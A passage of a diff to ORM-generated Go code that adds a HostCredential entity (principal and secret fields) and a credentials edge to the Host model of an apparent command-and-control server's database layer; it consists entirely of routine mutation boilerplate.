-	oldValue         func(context.Context) (*Host, error)
-	predicates       []predicate.Host
+	op                 Op
+	typ                string
+	id                 *int
+	created_at         *time.Time
+	last_modified_at   *time.Time
+	identifier         *string
+	name               *string
+	primary_ip         *string
+	platform           *c2pb.Host_Platform
+	last_seen_at       *time.Time
+	clearedFields      map[string]struct{}
+	tags               map[int]struct{}
+	removedtags        map[int]struct{}
+	clearedtags        bool
+	beacons            map[int]struct{}
+	removedbeacons     map[int]struct{}
+	clearedbeacons     bool
+	files              map[int]struct{}
+	removedfiles       map[int]struct{}
+	clearedfiles       bool
+	processes          map[int]struct{}
+	removedprocesses   map[int]struct{}
+	clearedprocesses   bool
+	credentials        map[int]struct{}
+	removedcredentials map[int]struct{}
+	clearedcredentials bool
+	done               bool
+	oldValue           func(context.Context) (*Host, error)
+	predicates         []predicate.Host
 }
 
 var _ ent.Mutation = (*HostMutation)(nil)
@@ -2380,6 +2385,60 @@ func (m *HostMutation) ResetProcesses() {
 	m.removedprocesses = nil
 }
 
+// AddCredentialIDs adds the "credentials" edge to the HostCredential entity by ids.
+func (m *HostMutation) AddCredentialIDs(ids ...int) {
+	if m.credentials == nil {
+		m.credentials = make(map[int]struct{})
+	}
+	for i := range ids {
+		m.credentials[ids[i]] = struct{}{}
+	}
+}
+
+// ClearCredentials clears the "credentials" edge to the HostCredential entity.
+func (m *HostMutation) ClearCredentials() {
+	m.clearedcredentials = true
+}
+
+// CredentialsCleared reports if the "credentials" edge to the HostCredential entity was cleared.
+func (m *HostMutation) CredentialsCleared() bool {
+	return m.clearedcredentials
+}
+
+// RemoveCredentialIDs removes the "credentials" edge to the HostCredential entity by IDs.
+func (m *HostMutation) RemoveCredentialIDs(ids ...int) {
+	if m.removedcredentials == nil {
+		m.removedcredentials = make(map[int]struct{})
+	}
+	for i := range ids {
+		delete(m.credentials, ids[i])
+		m.removedcredentials[ids[i]] = struct{}{}
+	}
+}
+
+// RemovedCredentials returns the removed IDs of the "credentials" edge to the HostCredential entity.
+func (m *HostMutation) RemovedCredentialsIDs() (ids []int) {
+	for id := range m.removedcredentials {
+		ids = append(ids, id)
+	}
+	return
+}
+
+// CredentialsIDs returns the "credentials" edge IDs in the mutation.
+func (m *HostMutation) CredentialsIDs() (ids []int) {
+	for id := range m.credentials {
+		ids = append(ids, id)
+	}
+	return
+}
+
+// ResetCredentials resets all changes to the "credentials" edge.
+func (m *HostMutation) ResetCredentials() {
+	m.credentials = nil
+	m.clearedcredentials = false
+	m.removedcredentials = nil
+}
+
 // Where appends a list predicates to the HostMutation builder.
 func (m *HostMutation) Where(ps ...predicate.Host) {
 	m.predicates = append(m.predicates, ps...)
@@ -2497,303 +2556,943 @@ func (m *HostMutation) SetField(name string, value ent.Value) error {
 		}
 		m.SetCreatedAt(v)
 		return nil
-	case host.FieldLastModifiedAt:
+	case host.FieldLastModifiedAt:
+		v, ok := value.(time.Time)
+		if !ok {
+			return fmt.Errorf("unexpected type %T for field %s", value, name)
+		}
+		m.SetLastModifiedAt(v)
+		return nil
+	case host.FieldIdentifier:
+		v, ok := value.(string)
+		if !ok {
+			return fmt.Errorf("unexpected type %T for field %s", value, name)
+		}
+		m.SetIdentifier(v)
+		return nil
+	case host.FieldName:
+		v, ok := value.(string)
+		if !ok {
+			return fmt.Errorf("unexpected type %T for field %s", value, name)
+		}
+		m.SetName(v)
+		return nil
+	case host.FieldPrimaryIP:
+		v, ok := value.(string)
+		if !ok {
+			return fmt.Errorf("unexpected type %T for field %s", value, name)
+		}
+		m.SetPrimaryIP(v)
+		return nil
+	case host.FieldPlatform:
+		v, ok := value.(c2pb.Host_Platform)
+		if !ok {
+			return fmt.Errorf("unexpected type %T for field %s", value, name)
+		}
+		m.SetPlatform(v)
+		return nil
+	case host.FieldLastSeenAt:
+		v, ok := value.(time.Time)
+		if !ok {
+			return fmt.Errorf("unexpected type %T for field %s", value, name)
+		}
+		m.SetLastSeenAt(v)
+		return nil
+	}
+	return fmt.Errorf("unknown Host field %s", name)
+}
+
+// AddedFields returns all numeric fields that were incremented/decremented during
+// this mutation.
+func (m *HostMutation) AddedFields() []string {
+	return nil
+}
+
+// AddedField returns the numeric value that was incremented/decremented on a field
+// with the given name. The second boolean return value indicates that this field
+// was not set, or was not defined in the schema.
+func (m *HostMutation) AddedField(name string) (ent.Value, bool) {
+	return nil, false
+}
+
+// AddField adds the value to the field with the given name. It returns an error if
+// the field is not defined in the schema, or if the type mismatched the field
+// type.
+func (m *HostMutation) AddField(name string, value ent.Value) error {
+	switch name {
+	}
+	return fmt.Errorf("unknown Host numeric field %s", name)
+}
+
+// ClearedFields returns all nullable fields that were cleared during this
+// mutation.
+func (m *HostMutation) ClearedFields() []string {
+	var fields []string
+	if m.FieldCleared(host.FieldName) {
+		fields = append(fields, host.FieldName)
+	}
+	if m.FieldCleared(host.FieldPrimaryIP) {
+		fields = append(fields, host.FieldPrimaryIP)
+	}
+	if m.FieldCleared(host.FieldLastSeenAt) {
+		fields = append(fields, host.FieldLastSeenAt)
+	}
+	return fields
+}
+
+// FieldCleared returns a boolean indicating if a field with the given name was
+// cleared in this mutation.
+func (m *HostMutation) FieldCleared(name string) bool {
+	_, ok := m.clearedFields[name]
+	return ok
+}
+
+// ClearField clears the value of the field with the given name. It returns an
+// error if the field is not defined in the schema.
+func (m *HostMutation) ClearField(name string) error {
+	switch name {
+	case host.FieldName:
+		m.ClearName()
+		return nil
+	case host.FieldPrimaryIP:
+		m.ClearPrimaryIP()
+		return nil
+	case host.FieldLastSeenAt:
+		m.ClearLastSeenAt()
+		return nil
+	}
+	return fmt.Errorf("unknown Host nullable field %s", name)
+}
+
+// ResetField resets all changes in the mutation for the field with the given name.
+// It returns an error if the field is not defined in the schema.
+func (m *HostMutation) ResetField(name string) error {
+	switch name {
+	case host.FieldCreatedAt:
+		m.ResetCreatedAt()
+		return nil
+	case host.FieldLastModifiedAt:
+		m.ResetLastModifiedAt()
+		return nil
+	case host.FieldIdentifier:
+		m.ResetIdentifier()
+		return nil
+	case host.FieldName:
+		m.ResetName()
+		return nil
+	case host.FieldPrimaryIP:
+		m.ResetPrimaryIP()
+		return nil
+	case host.FieldPlatform:
+		m.ResetPlatform()
+		return nil
+	case host.FieldLastSeenAt:
+		m.ResetLastSeenAt()
+		return nil
+	}
+	return fmt.Errorf("unknown Host field %s", name)
+}
+
+// AddedEdges returns all edge names that were set/added in this mutation.
+func (m *HostMutation) AddedEdges() []string {
+	edges := make([]string, 0, 5)
+	if m.tags != nil {
+		edges = append(edges, host.EdgeTags)
+	}
+	if m.beacons != nil {
+		edges = append(edges, host.EdgeBeacons)
+	}
+	if m.files != nil {
+		edges = append(edges, host.EdgeFiles)
+	}
+	if m.processes != nil {
+		edges = append(edges, host.EdgeProcesses)
+	}
+	if m.credentials != nil {
+		edges = append(edges, host.EdgeCredentials)
+	}
+	return edges
+}
+
+// AddedIDs returns all IDs (to other nodes) that were added for the given edge
+// name in this mutation.
+func (m *HostMutation) AddedIDs(name string) []ent.Value {
+	switch name {
+	case host.EdgeTags:
+		ids := make([]ent.Value, 0, len(m.tags))
+		for id := range m.tags {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeBeacons:
+		ids := make([]ent.Value, 0, len(m.beacons))
+		for id := range m.beacons {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeFiles:
+		ids := make([]ent.Value, 0, len(m.files))
+		for id := range m.files {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeProcesses:
+		ids := make([]ent.Value, 0, len(m.processes))
+		for id := range m.processes {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeCredentials:
+		ids := make([]ent.Value, 0, len(m.credentials))
+		for id := range m.credentials {
+			ids = append(ids, id)
+		}
+		return ids
+	}
+	return nil
+}
+
+// RemovedEdges returns all edge names that were removed in this mutation.
+func (m *HostMutation) RemovedEdges() []string {
+	edges := make([]string, 0, 5)
+	if m.removedtags != nil {
+		edges = append(edges, host.EdgeTags)
+	}
+	if m.removedbeacons != nil {
+		edges = append(edges, host.EdgeBeacons)
+	}
+	if m.removedfiles != nil {
+		edges = append(edges, host.EdgeFiles)
+	}
+	if m.removedprocesses != nil {
+		edges = append(edges, host.EdgeProcesses)
+	}
+	if m.removedcredentials != nil {
+		edges = append(edges, host.EdgeCredentials)
+	}
+	return edges
+}
+
+// RemovedIDs returns all IDs (to other nodes) that were removed for the edge with
+// the given name in this mutation.
+func (m *HostMutation) RemovedIDs(name string) []ent.Value {
+	switch name {
+	case host.EdgeTags:
+		ids := make([]ent.Value, 0, len(m.removedtags))
+		for id := range m.removedtags {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeBeacons:
+		ids := make([]ent.Value, 0, len(m.removedbeacons))
+		for id := range m.removedbeacons {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeFiles:
+		ids := make([]ent.Value, 0, len(m.removedfiles))
+		for id := range m.removedfiles {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeProcesses:
+		ids := make([]ent.Value, 0, len(m.removedprocesses))
+		for id := range m.removedprocesses {
+			ids = append(ids, id)
+		}
+		return ids
+	case host.EdgeCredentials:
+		ids := make([]ent.Value, 0, len(m.removedcredentials))
+		for id := range m.removedcredentials {
+			ids = append(ids, id)
+		}
+		return ids
+	}
+	return nil
+}
+
+// ClearedEdges returns all edge names that were cleared in this mutation.
+func (m *HostMutation) ClearedEdges() []string {
+	edges := make([]string, 0, 5)
+	if m.clearedtags {
+		edges = append(edges, host.EdgeTags)
+	}
+	if m.clearedbeacons {
+		edges = append(edges, host.EdgeBeacons)
+	}
+	if m.clearedfiles {
+		edges = append(edges, host.EdgeFiles)
+	}
+	if m.clearedprocesses {
+		edges = append(edges, host.EdgeProcesses)
+	}
+	if m.clearedcredentials {
+		edges = append(edges, host.EdgeCredentials)
+	}
+	return edges
+}
+
+// EdgeCleared returns a boolean which indicates if the edge with the given name
+// was cleared in this mutation.
+func (m *HostMutation) EdgeCleared(name string) bool {
+	switch name {
+	case host.EdgeTags:
+		return m.clearedtags
+	case host.EdgeBeacons:
+		return m.clearedbeacons
+	case host.EdgeFiles:
+		return m.clearedfiles
+	case host.EdgeProcesses:
+		return m.clearedprocesses
+	case host.EdgeCredentials:
+		return m.clearedcredentials
+	}
+	return false
+}
+
+// ClearEdge clears the value of the edge with the given name. It returns an error
+// if that edge is not defined in the schema.
+func (m *HostMutation) ClearEdge(name string) error {
+	switch name {
+	}
+	return fmt.Errorf("unknown Host unique edge %s", name)
+}
+
+// ResetEdge resets all changes to the edge with the given name in this mutation.
+// It returns an error if the edge is not defined in the schema.
+func (m *HostMutation) ResetEdge(name string) error {
+	switch name {
+	case host.EdgeTags:
+		m.ResetTags()
+		return nil
+	case host.EdgeBeacons:
+		m.ResetBeacons()
+		return nil
+	case host.EdgeFiles:
+		m.ResetFiles()
+		return nil
+	case host.EdgeProcesses:
+		m.ResetProcesses()
+		return nil
+	case host.EdgeCredentials:
+		m.ResetCredentials()
+		return nil
+	}
+	return fmt.Errorf("unknown Host edge %s", name)
+}
+
+// HostCredentialMutation represents an operation that mutates the HostCredential nodes in the graph.
+type HostCredentialMutation struct {
+	config
+	op               Op
+	typ              string
+	id               *int
+	created_at       *time.Time
+	last_modified_at *time.Time
+	principal        *string
+	secret           *string
+	clearedFields    map[string]struct{}
+	host             *int
+	clearedhost      bool
+	task             *int
+	clearedtask      bool
+	done             bool
+	oldValue         func(context.Context) (*HostCredential, error)
+	predicates       []predicate.HostCredential
+}
+
+var _ ent.Mutation = (*HostCredentialMutation)(nil)
+
+// hostcredentialOption allows management of the mutation configuration using functional options.
+type hostcredentialOption func(*HostCredentialMutation)
+
+// newHostCredentialMutation creates new mutation for the HostCredential entity.
+func newHostCredentialMutation(c config, op Op, opts ...hostcredentialOption) *HostCredentialMutation {
+	m := &HostCredentialMutation{
+		config:        c,
+		op:            op,
+		typ:           TypeHostCredential,
+		clearedFields: make(map[string]struct{}),
+	}
+	for _, opt := range opts {
+		opt(m)
+	}
+	return m
+}
+
+// withHostCredentialID sets the ID field of the mutation.
+func withHostCredentialID(id int) hostcredentialOption {
+	return func(m *HostCredentialMutation) {
+		var (
+			err   error
+			once  sync.Once
+			value *HostCredential
+		)
+		m.oldValue = func(ctx context.Context) (*HostCredential, error) {
+			once.Do(func() {
+				if m.done {
+					err = errors.New("querying old values post mutation is not allowed")
+				} else {
+					value, err = m.Client().HostCredential.Get(ctx, id)
+				}
+			})
+			return value, err
+		}
+		m.id = &id
+	}
+}
+
+// withHostCredential sets the old HostCredential of the mutation.
+func withHostCredential(node *HostCredential) hostcredentialOption {
+	return func(m *HostCredentialMutation) {
+		m.oldValue = func(context.Context) (*HostCredential, error) {
+			return node, nil
+		}
+		m.id = &node.ID
+	}
+}
+
+// Client returns a new `ent.Client` from the mutation. If the mutation was
+// executed in a transaction (ent.Tx), a transactional client is returned.
+func (m HostCredentialMutation) Client() *Client {
+	client := &Client{config: m.config}
+	client.init()
+	return client
+}
+
+// Tx returns an `ent.Tx` for mutations that were executed in transactions;
+// it returns an error otherwise.
+func (m HostCredentialMutation) Tx() (*Tx, error) {
+	if _, ok := m.driver.(*txDriver); !ok {
+		return nil, errors.New("ent: mutation is not running in a transaction")
+	}
+	tx := &Tx{config: m.config}
+	tx.init()
+	return tx, nil
+}
+
+// ID returns the ID value in the mutation. Note that the ID is only available
+// if it was provided to the builder or after it was returned from the database.
+func (m *HostCredentialMutation) ID() (id int, exists bool) {
+	if m.id == nil {
+		return
+	}
+	return *m.id, true
+}
+
+// IDs queries the database and returns the entity ids that match the mutation's predicate.
+// That means, if the mutation is applied within a transaction with an isolation level such
+// as sql.LevelSerializable, the returned ids match the ids of the rows that will be updated
+// or updated by the mutation.
+func (m *HostCredentialMutation) IDs(ctx context.Context) ([]int, error) {
+	switch {
+	case m.op.Is(OpUpdateOne | OpDeleteOne):
+		id, exists := m.ID()
+		if exists {
+			return []int{id}, nil
+		}
+		fallthrough
+	case m.op.Is(OpUpdate | OpDelete):
+		return m.Client().HostCredential.Query().Where(m.predicates...).IDs(ctx)
+	default:
+		return nil, fmt.Errorf("IDs is not allowed on %s operations", m.op)
+	}
+}
+
+// SetCreatedAt sets the "created_at" field.
+func (m *HostCredentialMutation) SetCreatedAt(t time.Time) {
+	m.created_at = &t
+}
+
+// CreatedAt returns the value of the "created_at" field in the mutation.
+func (m *HostCredentialMutation) CreatedAt() (r time.Time, exists bool) {
+	v := m.created_at
+	if v == nil {
+		return
+	}
+	return *v, true
+}
+
+// OldCreatedAt returns the old "created_at" field's value of the HostCredential entity.
+// If the HostCredential object wasn't provided to the builder, the object is fetched from the database.
+// An error is returned if the mutation operation is not UpdateOne, or the database query fails.
+func (m *HostCredentialMutation) OldCreatedAt(ctx context.Context) (v time.Time, err error) {
+	if !m.op.Is(OpUpdateOne) {
+		return v, errors.New("OldCreatedAt is only allowed on UpdateOne operations")
+	}
+	if m.id == nil || m.oldValue == nil {
+		return v, errors.New("OldCreatedAt requires an ID field in the mutation")
+	}
+	oldValue, err := m.oldValue(ctx)
+	if err != nil {
+		return v, fmt.Errorf("querying old value for OldCreatedAt: %w", err)
+	}
+	return oldValue.CreatedAt, nil
+}
+
+// ResetCreatedAt resets all changes to the "created_at" field.
+func (m *HostCredentialMutation) ResetCreatedAt() {
+	m.created_at = nil
+}
+
+// SetLastModifiedAt sets the "last_modified_at" field.
+func (m *HostCredentialMutation) SetLastModifiedAt(t time.Time) {
+	m.last_modified_at = &t
+}
+
+// LastModifiedAt returns the value of the "last_modified_at" field in the mutation.
+func (m *HostCredentialMutation) LastModifiedAt() (r time.Time, exists bool) {
+	v := m.last_modified_at
+	if v == nil {
+		return
+	}
+	return *v, true
+}
+
+// OldLastModifiedAt returns the old "last_modified_at" field's value of the HostCredential entity.
+// If the HostCredential object wasn't provided to the builder, the object is fetched from the database.
+// An error is returned if the mutation operation is not UpdateOne, or the database query fails.
+func (m *HostCredentialMutation) OldLastModifiedAt(ctx context.Context) (v time.Time, err error) {
+	if !m.op.Is(OpUpdateOne) {
+		return v, errors.New("OldLastModifiedAt is only allowed on UpdateOne operations")
+	}
+	if m.id == nil || m.oldValue == nil {
+		return v, errors.New("OldLastModifiedAt requires an ID field in the mutation")
+	}
+	oldValue, err := m.oldValue(ctx)
+	if err != nil {
+		return v, fmt.Errorf("querying old value for OldLastModifiedAt: %w", err)
+	}
+	return oldValue.LastModifiedAt, nil
+}
+
+// ResetLastModifiedAt resets all changes to the "last_modified_at" field.
+func (m *HostCredentialMutation) ResetLastModifiedAt() {
+	m.last_modified_at = nil
+}
+
+// SetPrincipal sets the "principal" field.
+func (m *HostCredentialMutation) SetPrincipal(s string) {
+	m.principal = &s
+}
+
+// Principal returns the value of the "principal" field in the mutation.
+func (m *HostCredentialMutation) Principal() (r string, exists bool) {
+	v := m.principal
+	if v == nil {
+		return
+	}
+	return *v, true
+}
+
+// OldPrincipal returns the old "principal" field's value of the HostCredential entity.
+// If the HostCredential object wasn't provided to the builder, the object is fetched from the database.
+// An error is returned if the mutation operation is not UpdateOne, or the database query fails.
+func (m *HostCredentialMutation) OldPrincipal(ctx context.Context) (v string, err error) {
+	if !m.op.Is(OpUpdateOne) {
+		return v, errors.New("OldPrincipal is only allowed on UpdateOne operations")
+	}
+	if m.id == nil || m.oldValue == nil {
+		return v, errors.New("OldPrincipal requires an ID field in the mutation")
+	}
+	oldValue, err := m.oldValue(ctx)
+	if err != nil {
+		return v, fmt.Errorf("querying old value for OldPrincipal: %w", err)
+	}
+	return oldValue.Principal, nil
+}
+
+// ResetPrincipal resets all changes to the "principal" field.
+func (m *HostCredentialMutation) ResetPrincipal() {
+	m.principal = nil
+}
+
+// SetSecret sets the "secret" field.
+func (m *HostCredentialMutation) SetSecret(s string) {
+	m.secret = &s
+}
+
+// Secret returns the value of the "secret" field in the mutation.
+func (m *HostCredentialMutation) Secret() (r string, exists bool) {
+	v := m.secret
+	if v == nil {
+		return
+	}
+	return *v, true
+}
+
+// OldSecret returns the old "secret" field's value of the HostCredential entity.
+// If the HostCredential object wasn't provided to the builder, the object is fetched from the database.
+// An error is returned if the mutation operation is not UpdateOne, or the database query fails.
+func (m *HostCredentialMutation) OldSecret(ctx context.Context) (v string, err error) {
+	if !m.op.Is(OpUpdateOne) {
+		return v, errors.New("OldSecret is only allowed on UpdateOne operations")
+	}
+	if m.id == nil || m.oldValue == nil {
+		return v, errors.New("OldSecret requires an ID field in the mutation")
+	}
+	oldValue, err := m.oldValue(ctx)
+	if err != nil {
+		return v, fmt.Errorf("querying old value for OldSecret: %w", err)
+	}
+	return oldValue.Secret, nil
+}
+
+// ResetSecret resets all changes to the "secret" field.
+func (m *HostCredentialMutation) ResetSecret() {
+	m.secret = nil
+}
+
+// SetHostID sets the "host" edge to the Host entity by id.
+func (m *HostCredentialMutation) SetHostID(id int) {
+	m.host = &id
+}
+
+// ClearHost clears the "host" edge to the Host entity.
+func (m *HostCredentialMutation) ClearHost() {
+	m.clearedhost = true
+}
+
+// HostCleared reports if the "host" edge to the Host entity was cleared.
+func (m *HostCredentialMutation) HostCleared() bool {
+	return m.clearedhost
+}
+
+// HostID returns the "host" edge ID in the mutation.
+func (m *HostCredentialMutation) HostID() (id int, exists bool) {
+	if m.host != nil {
+		return *m.host, true
+	}
+	return
+}
+
+// HostIDs returns the "host" edge IDs in the mutation.
+// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use
+// HostID instead. It exists only for internal usage by the builders.
+func (m *HostCredentialMutation) HostIDs() (ids []int) {
+	if id := m.host; id != nil {
+		ids = append(ids, *id)
+	}
+	return
+}
+
+// ResetHost resets all changes to the "host" edge.
+func (m *HostCredentialMutation) ResetHost() {
+	m.host = nil
+	m.clearedhost = false
+}
+
+// SetTaskID sets the "task" edge to the Task entity by id.
+func (m *HostCredentialMutation) SetTaskID(id int) {
+	m.task = &id
+}
+
+// ClearTask clears the "task" edge to the Task entity.
+func (m *HostCredentialMutation) ClearTask() {
+	m.clearedtask = true
+}
+
+// TaskCleared reports if the "task" edge to the Task entity was cleared.
+func (m *HostCredentialMutation) TaskCleared() bool {
+	return m.clearedtask
+}
+
+// TaskID returns the "task" edge ID in the mutation.
+func (m *HostCredentialMutation) TaskID() (id int, exists bool) {
+	if m.task != nil {
+		return *m.task, true
+	}
+	return
+}
+
+// TaskIDs returns the "task" edge IDs in the mutation.
+// Note that IDs always returns len(IDs) <= 1 for unique edges, and you should use
+// TaskID instead. It exists only for internal usage by the builders.
+func (m *HostCredentialMutation) TaskIDs() (ids []int) {
+	if id := m.task; id != nil {
+		ids = append(ids, *id)
+	}
+	return
+}
+
+// ResetTask resets all changes to the "task" edge.
+func (m *HostCredentialMutation) ResetTask() {
+	m.task = nil
+	m.clearedtask = false
+}
+
+// Where appends a list predicates to the HostCredentialMutation builder.
+func (m *HostCredentialMutation) Where(ps ...predicate.HostCredential) {
+	m.predicates = append(m.predicates, ps...)
+}
+
+// WhereP appends storage-level predicates to the HostCredentialMutation builder. Using this method,
+// users can use type-assertion to append predicates that do not depend on any generated package.
+func (m *HostCredentialMutation) WhereP(ps ...func(*sql.Selector)) {
+	p := make([]predicate.HostCredential, len(ps))
+	for i := range ps {
+		p[i] = ps[i]
+	}
+	m.Where(p...)
+}
+
+// Op returns the operation name.
+func (m *HostCredentialMutation) Op() Op {
+	return m.op
+}
+
+// SetOp allows setting the mutation operation.
+func (m *HostCredentialMutation) SetOp(op Op) {
+	m.op = op
+}
+
+// Type returns the node type of this mutation (HostCredential).
+func (m *HostCredentialMutation) Type() string {
+	return m.typ
+}
+
+// Fields returns all fields that were changed during this mutation. Note that in
+// order to get all numeric fields that were incremented/decremented, call
+// AddedFields().
+func (m *HostCredentialMutation) Fields() []string {
+	fields := make([]string, 0, 4)
+	if m.created_at != nil {
+		fields = append(fields, hostcredential.FieldCreatedAt)
+	}
+	if m.last_modified_at != nil {
+		fields = append(fields, hostcredential.FieldLastModifiedAt)
+	}
+	if m.principal != nil {
+		fields = append(fields, hostcredential.FieldPrincipal)
+	}
+	if m.secret != nil {
+		fields = append(fields, hostcredential.FieldSecret)
+	}
+	return fields
+}
+
+// Field returns the value of a field with the given name. The second boolean
+// return value indicates that this field was not set, or was not defined in the
+// schema.
+func (m *HostCredentialMutation) Field(name string) (ent.Value, bool) {
+	switch name {
+	case hostcredential.FieldCreatedAt:
+		return m.CreatedAt()
+	case hostcredential.FieldLastModifiedAt:
+		return m.LastModifiedAt()
+	case hostcredential.FieldPrincipal:
+		return m.Principal()
+	case hostcredential.FieldSecret:
+		return m.Secret()
+	}
+	return nil, false
+}
+
+// OldField returns the old value of the field from the database. An error is
+// returned if the mutation operation is not UpdateOne, or the query to the
+// database failed.
+func (m *HostCredentialMutation) OldField(ctx context.Context, name string) (ent.Value, error) {
+	switch name {
+	case hostcredential.FieldCreatedAt:
+		return m.OldCreatedAt(ctx)
+	case hostcredential.FieldLastModifiedAt:
+		return m.OldLastModifiedAt(ctx)
+	case hostcredential.FieldPrincipal:
+		return m.OldPrincipal(ctx)
+	case hostcredential.FieldSecret:
+		return m.OldSecret(ctx)
+	}
+	return nil, fmt.Errorf("unknown HostCredential field %s", name)
+}
+
+// SetField sets the value of a field with the given name. It returns an error if
+// the field is not defined in the schema, or if the type mismatched the field
+// type.
+func (m *HostCredentialMutation) SetField(name string, value ent.Value) error {
+	switch name {
+	case hostcredential.FieldCreatedAt:
+		v, ok := value.(time.Time)
+		if !ok {
+			return fmt.Errorf("unexpected type %T for field %s", value, name)
+		}
+		m.SetCreatedAt(v)
+		return nil
+	case hostcredential.FieldLastModifiedAt:
 		v, ok := value.(time.Time)
 		if !ok {
 			return fmt.Errorf("unexpected type %T for field %s", value, name)
 		}
 		m.SetLastModifiedAt(v)
 		return nil
-	case host.FieldIdentifier:
-		v, ok := value.(string)
-		if !ok {
-			return fmt.Errorf("unexpected type %T for field %s", value, name)
-		}
-		m.SetIdentifier(v)
-		return nil
-	case host.FieldName:
+	case hostcredential.FieldPrincipal:
 		v, ok := value.(string)
 		if !ok {
 			return fmt.Errorf("unexpected type %T for field %s", value, name)
 		}
-		m.SetName(v)
+		m.SetPrincipal(v)
 		return nil
-	case host.FieldPrimaryIP:
+	case hostcredential.FieldSecret:
 		v, ok := value.(string)
 		if !ok {
 			return fmt.Errorf("unexpected type %T for field %s", value, name)
 		}
-		m.SetPrimaryIP(v)
-		return nil
-	case host.FieldPlatform:
-		v, ok := value.(c2pb.Host_Platform)
-		if !ok {
-			return fmt.Errorf("unexpected type %T for field %s", value, name)
-		}
-		m.SetPlatform(v)
-		return nil
-	case host.FieldLastSeenAt:
-		v, ok := value.(time.Time)
-		if !ok {
-			return fmt.Errorf("unexpected type %T for field %s", value, name)
-		}
-		m.SetLastSeenAt(v)
+		m.SetSecret(v)
 		return nil
 	}
-	return fmt.Errorf("unknown Host field %s", name)
+	return fmt.Errorf("unknown HostCredential field %s", name)
 }
 
 // AddedFields returns all numeric fields that were incremented/decremented during
 // this mutation.
-func (m *HostMutation) AddedFields() []string {
+func (m *HostCredentialMutation) AddedFields() []string {
 	return nil
 }
 
 // AddedField returns the numeric value that was incremented/decremented on a field
 // with the given name. The second boolean return value indicates that this field
 // was not set, or was not defined in the schema.
-func (m *HostMutation) AddedField(name string) (ent.Value, bool) {
+func (m *HostCredentialMutation) AddedField(name string) (ent.Value, bool) {
 	return nil, false
 }
 
 // AddField adds the value to the field with the given name. It returns an error if
 // the field is not defined in the schema, or if the type mismatched the field
 // type.
-func (m *HostMutation) AddField(name string, value ent.Value) error {
+func (m *HostCredentialMutation) AddField(name string, value ent.Value) error {
 	switch name {
 	}
-	return fmt.Errorf("unknown Host numeric field %s", name)
+	return fmt.Errorf("unknown HostCredential numeric field %s", name)
 }
 
 // ClearedFields returns all nullable fields that were cleared during this
 // mutation.
-func (m *HostMutation) ClearedFields() []string {
-	var fields []string
-	if m.FieldCleared(host.FieldName) {
-		fields = append(fields, host.FieldName)
-	}
-	if m.FieldCleared(host.FieldPrimaryIP) {
-		fields = append(fields, host.FieldPrimaryIP)
-	}
-	if m.FieldCleared(host.FieldLastSeenAt) {
-		fields = append(fields, host.FieldLastSeenAt)
-	}
-	return fields
+func (m *HostCredentialMutation) ClearedFields() []string {
+	return nil
 }
 
 // FieldCleared returns a boolean indicating if a field with the given name was
 // cleared in this mutation.
-func (m *HostMutation) FieldCleared(name string) bool {
+func (m *HostCredentialMutation) FieldCleared(name string) bool {
 	_, ok := m.clearedFields[name]
 	return ok
 }
 
 // ClearField clears the value of the field with the given name. It returns an
 // error if the field is not defined in the schema.
-func (m *HostMutation) ClearField(name string) error {
-	switch name {
-	case host.FieldName:
-		m.ClearName()
-		return nil
-	case host.FieldPrimaryIP:
-		m.ClearPrimaryIP()
-		return nil
-	case host.FieldLastSeenAt:
-		m.ClearLastSeenAt()
-		return nil
-	}
-	return fmt.Errorf("unknown Host nullable field %s", name)
+func (m *HostCredentialMutation) ClearField(name string) error {
+	return fmt.Errorf("unknown HostCredential nullable field %s", name)
 }
 
 // ResetField resets all changes in the mutation for the field with the given name.
 // It returns an error if the field is not defined in the schema.
-func (m *HostMutation) ResetField(name string) error {
+func (m *HostCredentialMutation) ResetField(name string) error {
 	switch name {
-	case host.FieldCreatedAt:
+	case hostcredential.FieldCreatedAt:
 		m.ResetCreatedAt()
 		return nil
-	case host.FieldLastModifiedAt:
+	case hostcredential.FieldLastModifiedAt:
 		m.ResetLastModifiedAt()
 		return nil
-	case host.FieldIdentifier:
-		m.ResetIdentifier()
-		return nil
-	case host.FieldName:
-		m.ResetName()
-		return nil
-	case host.FieldPrimaryIP:
-		m.ResetPrimaryIP()
-		return nil
-	case host.FieldPlatform:
-		m.ResetPlatform()
+	case hostcredential.FieldPrincipal:
+		m.ResetPrincipal()
 		return nil
-	case host.FieldLastSeenAt:
-		m.ResetLastSeenAt()
+	case hostcredential.FieldSecret:
+		m.ResetSecret()
 		return nil
 	}
-	return fmt.Errorf("unknown Host field %s", name)
+	return fmt.Errorf("unknown HostCredential field %s", name)
 }
 
 // AddedEdges returns all edge names that were set/added in this mutation.
-func (m *HostMutation) AddedEdges() []string {
-	edges := make([]string, 0, 4)
-	if m.tags != nil {
-		edges = append(edges, host.EdgeTags)
-	}
-	if m.beacons != nil {
-		edges = append(edges, host.EdgeBeacons)
-	}
-	if m.files != nil {
-		edges = append(edges, host.EdgeFiles)
+func (m *HostCredentialMutation) AddedEdges() []string {
+	edges := make([]string, 0, 2)
+	if m.host != nil {
+		edges = append(edges, hostcredential.EdgeHost)
 	}
-	if m.processes != nil {
-		edges = append(edges, host.EdgeProcesses)
+	if m.task != nil {
+		edges = append(edges, hostcredential.EdgeTask)
 	}
 	return edges
 }
 
 // AddedIDs returns all IDs (to other nodes) that were added for the given edge
 // name in this mutation.
-func (m *HostMutation) AddedIDs(name string) []ent.Value {
+func (m *HostCredentialMutation) AddedIDs(name string) []ent.Value {
 	switch name {
-	case host.EdgeTags:
-		ids := make([]ent.Value, 0, len(m.tags))
-		for id := range m.tags {
-			ids = append(ids, id)
-		}
-		return ids
-	case host.EdgeBeacons:
-		ids := make([]ent.Value, 0, len(m.beacons))
-		for id := range m.beacons {
-			ids = append(ids, id)
-		}
-		return ids
-	case host.EdgeFiles:
-		ids := make([]ent.Value, 0, len(m.files))
-		for id := range m.files {
-			ids = append(ids, id)
+	case hostcredential.EdgeHost:
+		if id := m.host; id != nil {
+			return []ent.Value{*id}
 		}
-		return ids
-	case host.EdgeProcesses:
-		ids := make([]ent.Value, 0, len(m.processes))
-		for id := range m.processes {
-			ids = append(ids, id)
+	case hostcredential.EdgeTask:
+		if id := m.task; id != nil {
